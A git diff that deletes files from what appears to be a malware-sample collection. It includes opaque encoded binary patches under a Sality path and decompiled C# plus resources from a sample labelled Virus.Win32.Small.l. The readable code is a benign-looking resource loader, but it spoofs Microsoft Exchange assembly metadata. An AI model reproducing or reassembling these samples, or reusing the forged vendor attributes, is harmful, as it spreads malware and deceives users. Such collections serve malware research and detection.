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 diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f} b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f} deleted file mode 100644 index 875395d66969bd60912aaaaf6b7e7aa5afc369db..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3252 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 diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/AssemblyInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/AssemblyInfo.cs deleted file mode 100644 index 7684b52d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyTitle("OmaBrowseInstall")] -[assembly: AssemblyKeyName("")] -[assembly: AssemblyKeyFile("key.snk")] -[assembly: AssemblyProduct("Microsoft Exchange")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyCompany("Microsoft Corporation\0")] -[assembly: AssemblyFileVersion("6.5.6944.0")] -[assembly: AssemblyTrademark("Microsoft(R) and Windows(R) are registered trademarks of Microsoft Corporation.")] -[assembly: AssemblyCopyright("Copyright (C) 2002-2003 Microsoft Corp. All rights reserved.")] -[assembly: AssemblyVersion("6.5.0.0")] diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.cs b/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.cs deleted file mode 100644 index ac7ccbdc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.cs +++ /dev/null @@ -1,88 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Exchange.OMA.Unsupported.OmaBrowseInstall.ErrorStrings -// Assembly: OmaBrowseInstall, Version=6.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 -// MVID: 1551535E-661F-42F0-81A3-B6A9484A2B9D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4.exe - -using System; -using System.Globalization; -using System.Resources; -using System.Threading; - -namespace Microsoft.Exchange.OMA.Unsupported.OmaBrowseInstall -{ - public class ErrorStrings - { - private static CultureInfo m_Culture = (CultureInfo) null; - private static bool loading = false; - private static ErrorStrings loader = (ErrorStrings) null; - private ResourceManager resources; - - public static CultureInfo Culture - { - get => ErrorStrings.m_Culture == null ? Thread.CurrentThread.CurrentUICulture : ErrorStrings.m_Culture; - set => ErrorStrings.m_Culture = value; - } - - public static string CounterCreationSuccessful => ErrorStrings.GetString(ErrorStrings.Culture, nameof (CounterCreationSuccessful)); - - public static string CounterCreationFailed(object arg, object arg1) => ErrorStrings.GetString(ErrorStrings.Culture, nameof (CounterCreationFailed), arg, arg1); - - public static string CounterDeletionSuccessful => ErrorStrings.GetString(ErrorStrings.Culture, nameof (CounterDeletionSuccessful)); - - public static string CounterDeletionFailed(object arg, object arg1) => ErrorStrings.GetString(ErrorStrings.Culture, nameof (CounterDeletionFailed), arg, arg1); - - public static string EventCreationSuccessful => ErrorStrings.GetString(ErrorStrings.Culture, nameof (EventCreationSuccessful)); - - public static string EventCreationFailed(object arg, object arg1) => ErrorStrings.GetString(ErrorStrings.Culture, nameof (EventCreationFailed), arg, arg1); - - public static string EventDeletionSuccessful => ErrorStrings.GetString(ErrorStrings.Culture, nameof (EventDeletionSuccessful)); - - public static string EventDeletionFailed(object arg, object arg1) => ErrorStrings.GetString(ErrorStrings.Culture, nameof (EventDeletionFailed), arg, arg1); - - public static string ServerLanguageNotFound(object arg, object arg1, object arg2) => ErrorStrings.GetString(ErrorStrings.Culture, nameof (ServerLanguageNotFound), arg, arg1, arg2); - - protected ErrorStrings() => this.resources = new ResourceManager(nameof (ErrorStrings), this.GetType().Module.Assembly); - - private static ErrorStrings GetLoader() - { - if (ErrorStrings.loader == null && !ErrorStrings.loading) - { - lock (typeof (ErrorStrings)) - { - if (ErrorStrings.loader == null) - { - if (!ErrorStrings.loading) - { - ErrorStrings.loading = true; - try - { - ErrorStrings.loader = new ErrorStrings(); - } - finally - { - ErrorStrings.loading = false; - } - } - } - } - } - return ErrorStrings.loader; - } - - public static string GetString(string name, params object[] args) => ErrorStrings.GetString(ErrorStrings.Culture, name, args); - - public static string GetString(CultureInfo culture, string name, params object[] args) - { - ErrorStrings loader = ErrorStrings.GetLoader(); - if (loader == null) - return (string) null; - string format = loader.resources.GetString(name, culture); - return args != null && args.Length > 0 ? string.Format((IFormatProvider) culture, format, args) : format; - } - - public static string GetString(string name) => ErrorStrings.GetString(ErrorStrings.Culture, name); - - public static string GetString(CultureInfo culture, string name) => ErrorStrings.GetLoader()?.resources.GetString(name, culture); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.resx b/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.resx deleted file mode 100644 index d8062cc4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.resx +++ /dev/null @@ -1,147 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - LU9NQSBCcm93c2UgRXZlbnQgTG9nIHNvdXJjZSBoYXMgYmVlbiBjcmVhdGVkLg== - - - U0RlbGV0aW5nIE9NQSBCcm93c2UgcGVyZm9ybWFuY2UgY291bnRlcnMgZmFpbGVkIHdpdGggZXJyb3IgezB9IGFuZCBzdGFjayB0cmFjZSB7MX0u - - - Mk9NQSBCcm93c2UgcGVyZm9ybWFuY2UgY291bnRlcnMgaGF2ZSBiZWVuIGNyZWF0ZWQu - - - T0NyZWF0aW5nIE9NQSBCcm93c2UgRXZlbnQgTG9nIHNvdXJjZSBmYWlsZWQgd2l0aCBlcnJvciB7MH0gYW5kIHN0YWNrIHRyYWNlIHsxfS4= - - - U0NyZWF0aW5nIE9NQSBCcm93c2UgcGVyZm9ybWFuY2UgY291bnRlcnMgZmFpbGVkIHdpdGggZXJyb3IgezB9IGFuZCBzdGFjayB0cmFjZSB7MX0u - - - WEZhaWxlZCB0byBzZXQgc2VydmVyIGxhbmd1YWdlIGZyb20gcmVnaXN0cnkga2V5ICJ7MH0iIHdpdGggZXJyb3IgezF9IGFuZCBzdGFjayB0cmFjZSB7Mn0= - - - 